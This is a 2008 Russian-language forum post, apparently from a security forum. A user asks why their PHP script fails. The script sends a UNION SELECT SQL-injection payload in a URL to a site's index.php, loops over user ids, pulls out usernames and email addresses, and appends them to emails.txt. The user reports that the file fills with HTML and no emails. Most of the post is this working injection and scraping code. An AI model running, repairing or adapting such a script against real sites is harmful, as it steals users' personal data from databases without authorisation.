
24.01.2008, 19:35
|
|
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
Провел на форуме: 427901
Репутация:
23
|
|
ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out)  *
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt
Код:
<?
$handler=fopen('emails.txt','a+');
for($i=1;$i<30;$i++)
{
$filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*';
echo $i.". ";
$str = file_get_contents($filename);
preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);
if(empty($out[1][0])) echo " no mail";
else{
echo " get ".$out[1][0];
fwrite($handler,$out[1][0]."\n");
}
echo "\n";
}
fclose($handler);
?>
но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...
в чем проблема?
|
|
|